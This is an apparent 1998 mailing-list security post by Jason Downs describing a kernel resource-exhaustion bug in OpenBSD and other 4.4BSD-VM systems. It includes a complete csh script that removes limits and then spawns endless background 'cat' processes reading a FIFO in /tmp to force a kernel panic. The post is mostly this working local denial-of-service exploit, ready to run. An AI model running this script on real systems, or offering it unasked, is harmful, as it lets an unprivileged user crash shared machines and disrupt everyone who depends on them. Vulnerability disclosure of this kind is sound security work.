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Simple OpenBSD crash scriptJason Downs (downsjDOWNSJ.COM)
Sun, 25 Jan 1998 15:54:25 -0800
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Here is a rather simple method of crashing most OpenBSD systems (and, I assume, NetBSD or anything else running 4.4BSD vm without this problem fixed). Most, if not all, kernels have process limits high enough for a normal user to run the kernel out of non-pageable map entries. The easiest way that I have found to do this is with the enclosed script. If the per-user process/descriptor limits are high enough, running this script will result in a kernel panic. #!/bin/csh set path = ( /usr/bin /usr/sbin /bin /sbin ) unlimit cd /tmp if ( -e fifo ) then rm fifo endif mkfifo fifo while ( 1 ) cat fifo >& /dev/null & end -- Jason Downs downsjdownsj.com